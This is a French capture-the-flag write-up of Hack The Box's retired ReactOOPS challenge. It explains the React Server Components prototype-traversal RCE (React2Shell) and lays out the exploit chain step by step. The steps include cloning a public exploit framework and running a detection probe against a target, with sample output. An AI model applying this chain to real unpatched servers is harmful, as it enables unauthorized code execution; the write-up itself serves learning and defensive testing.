Hack The Box Writeup du challenge retiré ReactOOPS - Solution complète et guide pédagogique sur CVE-2025-55182/CVE-2025-66478 (React2Shell RCE). Comprend une analyse détaillée de la vulnérabilité, des techniques d'exploitation et du matériel d'apprentissage en équipe.
Auteur: TheStingR - Team ISP1337Hackers
Défi: ReactOOPS (Web)
Plateforme: Hack The Box
Difficulté: Très Facile - RETIRÉ
Date de résolution: 13 décembre 2025
ReactOOPS est un défi web qui exploite CVE-2025-55182 / CVE-2025-66478, une vulnérabilité critique d'exécution de code à distance non authentifiée dans les React Server Components et le Next.js App Router.
Constatations clés :
hasOwnProperty dans la désérialisation du protocole FlightLe défi présente une application Next.js soignée exécutant l'interface d'assistant NexusAI. L'application semble traiter les entrées utilisateur via les React Server Components, mais des anomalies subtiles dans la couche réactive laissent entrevoir des vulnérabilités sous-jacentes.
L'application utilise :
Le protocole Flight est le format de sérialisation propriétaire de React pour transmettre des données entre le serveur et le client dans les architectures Server Component. Il utilise des références comme :
$1 - Référence à l'objet à la position 1$1:path:to:value - Traversée de chemin de propriétéCode vulnérable dans ReactFlightReplyServer.js de React :
// Ligne ~450 : fonction getOutlinedModel
function getOutlinedModel(response, id) {
let chunk = chunks.get(id);
const value = chunk.value;
// Traiter les références comme "$1:path:to:value"
if (reference.startsWith('$')) {
const refId = parseInt(reference.slice(1).split(':')[0]);
const path = reference.slice(1).split(':').slice(1);
let obj = chunks.get(refId).value;
// BOUCLE VULNÉRABLE - AUCUNE VÉRIFICATION hasOwnProperty !
for (let i = 0; i < path.length; i++) {
obj = obj[path[i]]; // ← Permet l'accès à la chaîne de prototypes
}
return obj;
}
}
La Version Sûre (Ce qu'elle devrait être) :
for (let i = 0; i < path.length; i++) {
if (Object.prototype.hasOwnProperty.call(obj, path[i])) {
obj = obj[path[i]];
} else {
throw new Error('Invalid property access');
}
}
Sans la vérification hasOwnProperty, un attaquant peut traverser :
myObject[__proto__][then] → Chunk.prototype.then
myObject[__proto__][constructor] → Function
myObject[__proto__][constructor][prototype] → function.prototype
Étape 1 : Envoyer la référence "$1:__proto__:then"
│
├─ Accéder à myChunk[__proto__]
└─ Puis accéder à [then] sur le prototype
Étape 2 : Créer un faux objet de type Promise
│
└─ { then: maliciousFunction }
Étape 3 : React appelle await sur cet objet
│
├─ Invoque la méthode .then()
└─ Exécute la fonction de l'attaquant
Étape 4 : Exécution de Code Arbitraire
│
└─ Le code s'exécute dans le contexte serveur en tant que root
La vulnérabilité existe avant la validation de Next-Action :
Flux de traitement de la requête :
├─ Analyser les données du formulaire multipart
├─ Désérialiser le protocole Flight ← RCE se produit ICI
│ └─ Traiter les références et objets
│ └─ Aucune vérification hasOwnProperty !
├─ Extraire l'en-tête Next-Action
├─ Valider l'ID d'action ← Cela vient APRÈS
└─ Exécuter le gestionnaire d'action
En déclenchant la RCE pendant la désérialisation, les attaquants contournent tous les contrôles de sécurité au niveau des actions.
# Tester si le service répond
curl -v http://<IP>:PORT/
Attendu : Application Next.js servant du HTML avec RSC activé
Rechercher les indicateurs :
next-<script type="text/x-component">.nextL'indicateur le plus fiable est de tenter une attaque de pollution de prototype et d'observer la réponse :
# Charge utile de détection non destructive
# Envoie : ["$1:a:a"] référençant {}
# Vulnérable : {}.a.a lève une exception → HTTP 500 + E{"digest"
# Patché : hasOwnProperty empêche l'accès → pas de crash
# Naviguer vers le répertoire du défi
cd /Challenges/ReactOOPS
# Cloner le framework d'exploit react2shell
git clone https://github.com/freeqaz/react2shell.git
# Vérifier que tous les scripts sont exécutables
chmod +x react2shell/*.sh
Objectif : Confirmer que le serveur est vulnérable sans causer de dommages
cd react2shell
# Exécuter la sonde de détection
./detect.sh http://<IP>:PORT
Ce qu'elle fait :
Next-Action: x["$1:a:a"] référençant l'objet vide {}{}.a.aSortie attendue :
[*] React2Shell Detection Probe (CVE-2025-55182 / CVE-2025-66478)
[*] Target: http://<IP>:PORT
[*] HTTP Status: 500
[!] VULNERABLE - Server returned 500 with E{"digest" pattern
[*] Response body:
0:{\"a\":\"$@1\",\"f\":\"\",\"b\":\"s8I48LfEDhqpCdFN5-HbU\"}
1:E{\"digest\":\"346246470\"}